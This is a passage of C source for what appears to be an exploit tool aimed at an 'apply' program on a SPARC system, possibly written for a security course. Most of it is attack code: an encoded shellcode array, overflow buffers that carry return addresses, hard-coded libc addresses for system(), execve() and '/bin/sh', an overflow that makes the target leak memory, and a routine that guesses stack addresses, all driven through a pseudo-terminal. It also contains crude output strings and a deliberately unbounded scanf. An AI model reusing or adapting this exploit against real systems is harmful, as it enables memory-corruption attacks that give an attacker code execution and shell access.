"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01\x80\x18\x40\x01"
"\x80\x18\x40\x01\x11\x0b\xd8\x9a\x90\x12\x21\x6e\xd0\x23\xa0\x54"
"\x11\x0b\xdc\xda\xd0\x23\xa0\x58\x11\x0b\x5a\x40\xd0\x23\xa0\x5c"
"\xc0\x23\xa0\x60\x90\x03\xa0\x54\xd0\x23\xa0\x48\x90\x03\xa0\x5c"
"\xd0\x23\xa0\x4c\xc0\x23\xa0\x50\x90\x03\xa0\x54\x92\x03\xa0\x48"
"\x94\x1b\x40\x0d\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\x40\x0d"
"\x82\x10\x20\x01\x91\xd0\x20\x08\xff\xbe\xfe\x68\xff\x31\x50\xa4"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";





struct termios tty_state_orig, tty_state_mod;
pid_t cpid = -1;
int fdmax = 0;

int fd_master=-1, fd_slave=-1;
int logfd=-1;

pid_t shell_pid=-1;


/*********************************************************************

  III     N     N  FFFFFF   0000        
   I     N N   N   FF      0    0  
   I    N   N N    FFFF    0    0   
  III  N     N     F        0000        

  PPPPPP    
  P     P 
  P    P   EEEEE    EEEEE    K   K
  P  P     E   E    E   E    K  K
  P        E E      E E      K K
  P          eeeee    eeeee  K    K                         
**********************************************************************/

// boolean flags
char automate=0; // automate querying process (Needs modes to select from Libc and its subset, and Stack-space)
char peek_libc=0, peek_binsh=0, peek_system=0, peek_exit=0, peek_execve;
char peek_stack=0;
char query_fp_addr=0;                                     
const uint32_t Param_set_iBuf_index = 1560;

// STACK
uint32_t peek_addr = 0xff3234f0;  // 0xff328354; //0xff3234f0; //0xFF280000; //0xff31a504; //ff\x32\xa5\x04

// System()
uint32_t libc_system_addr=0xff311004, libc_system_addr_start;
char libc_system_possible_match=0;
char system_stage=0;
// stages
								// 0) find call <execve>
								// 1) find the 'save' before the call

// Exit()
uint32_t libc_exit_addr=0xff320200;  //0xff311004;
uint32_t retrestore_addr=0xff318234; // blade72
uint32_t libc_execve_addr=0xff31c65c; //0xff31ceb8;// blade72   //0xff31d174;

uint32_t libc_exit_addr_start; // _start used  to mark the beginning of potential function
char libc_exit_possible_match=0;

// "/bin/sh"
uint32_t libc_binsh_addr=0xff3296a8; //blade 72 // doesnt need _start since it's just a string

uint32_t libc_MIN_addr = 0xFF280100;
uint32_t libc_MAX_addr = 0xFF32C000;

char buff3[BUFF_SIZE] = 
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\xff\xbe\xa6\xdc\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70\x70"
"\x70\x70\x70\x70\x70\x70\x70\x70\xff\x32\xa5\x04\xff\x32\xa0\xc4"
"\xff\x32\xa0\xc4\x0a";

// not used...
write_info_leak(char *buf, int n)
{
	write(fd_master, buf, n);
}
//
send_peek_overflow()
{
	buff3[Param_set_iBuf_index+12] = 0x0a;
	write(fd_master,buff3, Param_set_iBuf_index+12+1); //(sizeof(struct param_set)*3)
	// 1572 // 1560 + 12 bytes of peek
	// 12 = 4*3, 3 4-byte addresses.. 
	// we overflow all 3 MANDATORY because the 0x0a would overwrite
	// a string pointer it could try to read from bad memory..
	// so we overflow into the unused 4th pointer..
}



write_peek_addrs()
{
	// 1) [STACK SEARCH]
	// 2) [System() SEARCH]
	// 3) [Exit() SEARCH]
	// 4) [/bin/sh SEARCH]
	struct param_set *p;
		//char	*gr_name;
		//char	*course_name;
		//char	*instructor;	

	p = (struct param_set *)&buff3[Param_set_iBuf_index];
	if (peek_stack)
	{
  	p[STACK_LINE_NUM-1].gr_name = (char *)peek_addr;
  	p[STACK_LINE_NUM-1].course_name = (char *)peek_addr;
  	p[STACK_LINE_NUM-1].instructor = (char *)peek_addr;
	}

	if (peek_system)
	{
		p[SYSTEM_LINE_NUM-1].gr_name = (char *)libc_system_addr;
  	p[SYSTEM_LINE_NUM-1].course_name = (char *)libc_system_addr;
  	p[SYSTEM_LINE_NUM-1].instructor = (char *)libc_system_addr;
	}

	if (peek_execve)
	{
		p[EXECVE_LINE_NUM-1].gr_name = (char *)libc_execve_addr;
  	p[EXECVE_LINE_NUM-1].course_name = (char *)libc_execve_addr;
  	p[EXECVE_LINE_NUM-1].instructor = (char *)libc_execve_addr;
	}

	if (peek_exit)
	{
		p[EXIT_LINE_NUM-1].gr_name = (char *)libc_exit_addr;
  	p[EXIT_LINE_NUM-1].course_name = (char *)libc_exit_addr;
  	p[EXIT_LINE_NUM-1].instructor = (char *)libc_exit_addr;
	}

	if (peek_binsh)
	{
		p[BINSH_LINE_NUM-1].gr_name = (char *)libc_binsh_addr;
  	p[BINSH_LINE_NUM-1].course_name = (char *)libc_binsh_addr;
  	p[BINSH_LINE_NUM-1].instructor = (char *)libc_binsh_addr;
	}


}

CTRL_Peek()
{
	// Here we make a menu for the user to select
	// PEEK SELECT
	// 1) Stack
	//	// Ask for stack start address [which will increment]
	// 2) LibC 
	/*		 2a) system()
				 2b) exit()
				 2c) /bin/sh
	*/
		
	char selection[10];
	stty_cooked(STDIN_FILENO);
	
	fprintf(stderr, "\nPEEK SELECT\n");
	fprintf(stderr, "1) Stack\n");
	fprintf(stderr, "2) LibC\n");
	fprintf(stderr, "\ta) /bin/sh\\0\n");
	fprintf(stderr, "\tb) execve()\n");
	fprintf(stderr, "\tc) system()\n");
	fprintf(stderr, "\td) exit()\n");
	fprintf(stderr, "you do stuff like 2abc to specify all LibC options at once\n");
	fprintf(stderr, ": ");
	// or 2ac 2ab etc. 
	// 
	scanf("%s", &selection);
	getchar(); // clear return key
	// IDGAF about buffer overflow
	if (strchr(selection, '1'))
	{
		char baddr[20];
		//unsigned long addr;
		print("you selected stack\n");
		peek_addr = getaddr_from_user("Please enter a base address [0xffbee001]: ");
		
		if (peek_addr == 0)
		{
			goto end;
		}
		else if (peek_addr == 1)
		{
			print("using default addr\n");
			peek_addr = 0xffbee001;
		}

		peek_stack=1;
		//peek_libc=0;

		print("All set. You may now enter automation mode after entering the apply\n\
			program with CTRL-A in raw mode\n\n");
	}
	if (strchr(selection, '2'))
	{
		char buf[200];
		uint32_t addr;

		print("you selected LibC\n");
		
		if (strchr(selection, 'a'))
		{

			sprintf(buf, "/bin/sh: specify start search addr [0x%lx]: ", libc_binsh_addr);
			addr = getaddr_from_user(buf);
			if (addr == 0)
			{
				print("Bad address... Not going to peek :(\n");
				goto end;
			}
			else if (addr == 1)
			{
				print("Using default binsh_addr 0x%lx :(\n", libc_binsh_addr);
			}
			else libc_binsh_addr = addr;
			peek_binsh=1;
			peek_exit=0;
			peek_system=0;
		}
		if (strchr(selection, 'b'))
		{
			sprintf(buf, "execve(): specify start search addr [0x%lx]: ", libc_execve_addr);
			addr = getaddr_from_user(buf);
			if (addr == 0)
			{
				print("Bad address... Not going to peek :(\n");
				goto end;
			}
			else if (addr == 1)
			{
				print("Using default system_addr 0x%lx :(\n", libc_execve_addr);
			}
			else libc_execve_addr = addr;
			peek_binsh=0;
			peek_exit=0;
			peek_system=0;
			peek_execve=1;
		}
		if (strchr(selection, 'c'))
		{
			sprintf(buf, "system(): specify start search addr [0x%lx]: ", libc_system_addr);
			addr = getaddr_from_user(buf);
			if (addr == 0)
			{
				print("Bad address... Not going to peek :(\n");
				goto end;
			}
			else if (addr == 1)
			{
				print("Using default system_addr 0x%lx :(\n", libc_system_addr);
			}
			else libc_system_addr = addr;

			if (libc_execve_addr == 0)
			{
				again:
				addr = getaddr_from_user("Specify precise execve() address: ");
				if (addr == 0)
				{
					print("Bad address... Not going to peek :(\n");
					goto end;
				}
				else if (addr == 1)
				{
					goto again;
				}
				else libc_execve_addr = addr;
			}

			peek_binsh=0;
			peek_exit=0;
			peek_system=1;
			peek_execve=0;
		}
		if (strchr(selection, 'd'))
		{
			sprintf(buf, "exit(): specify start search addr [0x%lx]: ", libc_exit_addr);
			addr = getaddr_from_user(buf);
			if (addr == 0)
			{
				print("Bad address... Not going to peek :(\n");
				goto end;
			}
			else if (addr == 1)
			{
				print("Using default exit_addr 0x%lx\n", libc_exit_addr);
			}
			else libc_exit_addr = addr;

			peek_binsh=0;
			peek_exit=1;
			peek_system=0;
			peek_execve=0;
		}

		if (!(peek_exit|peek_system|peek_binsh|peek_execve))
		{
			// no selection was made...
			print ("No selection was made.. not going to peek.. :(\n\n");
			goto end;
		}

		peek_libc=1;
		//peek_stack=0;



		print ("I didn't check your input hard-core, but if you're smart\n"
			"just enter apply and then hit CTRL-A for automation. good luck!!");
	}
	//selection = getchar();
	//selection =  (selection - '0') % 48;
	//fprintf(stderr, "You selected %d\n", selection);
end:
	stty_raw(STDIN_FILENO);
}
/*******************************************************/

// UTILITY FUNC
updown_calc(uint32_t base, uint32_t moveamt, char reset )
{
	static char count=1;
	static char updown=1; // up = 1, down = 0
	//uint32_t base = 0xFFBEF400; // middle-of-stack
	//static uint32_t moveamt = 1004-16;		// #bytes of nop - 8 to give some gift
	uint32_t result; //calculated return address 
	char r; //remainder for 4-byte-alignment check
	// 0xFFBEF000
	// from here can go up $1000 or down $1000

	if (reset)
	{
		count=1;
		updown=1;
	}

	if (updown)
	{
		result = base + (moveamt*count);
		if ( (r=result%4) )
		{
			for (; r > 0; r--)
			{
				result--;
			}
		}
		if (result > 0xFFBEFFFF)
			result = 0xFFBEFFA0;
	}
	else
	{
		result = base - (moveamt*count);
		if ( (r=result%4) )
		{
			for (; r>0; r--)
			{
				result++;
			}
		}
		if (result < 0xFFBEE000)
			result = 0xFFBEE000;
	}

	updown = !updown;
	if (updown)
	{
		//moveamt = 2;
		count++;
	}
}


// signal handlers 

void sighup (int sig)
{
	sig = sig;
	/*if (close(fd_slave) < 0)
		perror("Close slave failed");
	if (close(fd_master) < 0)
		perror("Close master failed: ");
	if (close(logfd) < 0)
		perror("Close master failed: ");*/
	exit(0);
}

void sigpipe (int sig)
{
	sig = sig;
	//snoopfd = -1;
	
	signal (SIGPIPE, sigpipe);
}

void sigchld (int sig)
{
	int status, pid;
	sig = sig;

	print("DIE BITCHES\n");
	
	wait(&status);
	raise (SIGHUP);
	
	signal (SIGCHLD, sigchld);
}

// taken from snooptty
int stty_raw (int fd)
{
	struct termios tty_state;
	int i;
	
	if (tcgetattr(fd, &tty_state) < 0)
	{
		perror("tcgetattr failed: ");
		return (-1);
	}
	
	//if (save)
		//tty_state;
	
	tty_state.c_lflag &= ~(ICANON | IEXTEN | ISIG | ECHO);
	tty_state.c_iflag &= ~(ICRNL | INPCK | ISTRIP | IXON | BRKINT);
	tty_state.c_oflag &= ~OPOST;
	tty_state.c_cflag |= CS8;
	
	tty_state.c_cc[VMIN]  = 1;
	tty_state.c_cc[VTIME] = 0;
	
	tty_state_mod = tty_state;
	
	if (tcsetattr(fd, TCSAFLUSH, &tty_state) < 0)
	{
		perror("tcgetattr failed: ");
		return (-1);
	}
	
	return (0);
}



int stty_cooked (int fd)
{
	
	
	if (tcsetattr(fd, TCSANOW, &tty_state_orig) < 0)
	{
		perror("tcgetattr failed: ");
		return (-1);
	}
	
	return (0);
}

void finish()
{
	//remove("/home/bazz/latest/pty/test.txt");
	if (close(fd_slave) < 0)
		perror("Close slave failed");
	if (close(fd_master) < 0)
		perror("Close master failed: ");
	if (close(logfd) < 0)
		perror("Close master failed: ");
	
	//kill(shell_pid, 9);
	if (tcsetattr(STDIN_FILENO, TCSANOW, &tty_state_orig) < 0)
  {
    perror("tcgetattr failed: ");
    return; // (-1);
  }
}


void print (const char *fmt, ...)
{
	va_list args;
	
	va_start (args, fmt);
	vfprintf (stderr, fmt, args);
	//exit (1);
}

int fdprintf (int fd, char *fmt, ...)
{
	va_list args;
	int r;
	char str[256];
	
	va_start (args, fmt);
	r = vsprintf(str, fmt, args);
	write (fd, str, r);
	
	return (r);
}


int main (int argc, char *argv[], char **envp)
{
	if (!isatty(STDIN_FILENO))
		printf ("stdin is not a tty\n");
	
	atexit(finish);
	//init 
	signal (SIGPIPE, sigpipe);
	signal (SIGCHLD, sigchld);
	signal (SIGHUP, sighup);
	//
	shell_pid = getppid();
	
	memset(&buff2[buff2_fsf1_offset], 0x41, 0x100);	
	memset(&buff3[Param_set_iBuf_index], 0x41, 5000);
	//write_peek_addrs();
	struct param_set *p;
		p = (struct param_set *)&buff3[Param_set_iBuf_index];
		p[STACK_LINE_NUM-1].gr_name = (char *)peek_addr;
  	p[STACK_LINE_NUM-1].course_name = (char *)peek_addr;
  	p[STACK_LINE_NUM-1].instructor = (char *)peek_addr;
		p[SYSTEM_LINE_NUM-1].gr_name = (char *)libc_system_addr;
  	p[SYSTEM_LINE_NUM-1].course_name = (char *)libc_system_addr;
  	p[SYSTEM_LINE_NUM-1].instructor = (char *)libc_system_addr;
		p[EXIT_LINE_NUM-1].gr_name = (char *)libc_exit_addr;
  	p[EXIT_LINE_NUM-1].course_name = (char *)libc_exit_addr;
  	p[EXIT_LINE_NUM-1].instructor = (char *)libc_exit_addr;
		p[BINSH_LINE_NUM-1].gr_name = (char *)libc_binsh_addr;
  	p[BINSH_LINE_NUM-1].course_name = (char *)libc_binsh_addr;
  	p[BINSH_LINE_NUM-1].instructor = (char *)libc_binsh_addr;

	// Open Master device
	printf("Opening master device\n"); ////sleep(1);
	
	fd_master = open("/dev/ptmx", O_RDWR);
	if (fd_master < 0)
		perror("opening master failed\n");
	
	/// Grantpt
	printf("Doing Grantpt()\n"); ////sleep(1);
	if (grantpt(fd_master) < 0)
		perror("Grantpt Master failed\n");
	
	///Unlockpt
	printf("Unlocking pt\n"); ////sleep(1);
	if (unlockpt(fd_master) < 0)
		perror("Unlockpt Master failed\n");
	
	
	struct termios term;
	struct winsize twin;
	printf("getting stdin termios\n");
	if (tcgetattr (STDIN_FILENO, &term) < 0)
		perror("tcgetattr failed\n");
	tty_state_orig = term;
	printf("getting window settings\n");
	if (ioctl (STDIN_FILENO, TIOCGWINSZ, (char *) &twin) < 0)
		perror("ioctl TCIOCGWINSZ failed\n");
	
	// ptsname()
	char *slavename;
	printf("---Getting slave name\n"); ////sleep(1);
	slavename = ptsname(fd_master);
	if (slavename == NULL)
		perror("---ptsname failed\n");
	
	// opening Slave
	printf("---Opening slave\n"); ////sleep(1);
	fd_slave = open(slavename, O_RDWR);
	if (fd_slave < 0)
	{
		printf("---open(%s) failed\n",slavename);
		perror("---");
	}
	
	
	
	////
	// THE BIG FORK
	/////////
	/////////
	
	printf("Forking\n"); sleep(1);
	cpid = fork();
	
	if (cpid == 0) 
	{
		
		printf("in CHILD: \n");
		
		//setsid()
		printf("---Setsid()\n");
		if (setsid() < 0)
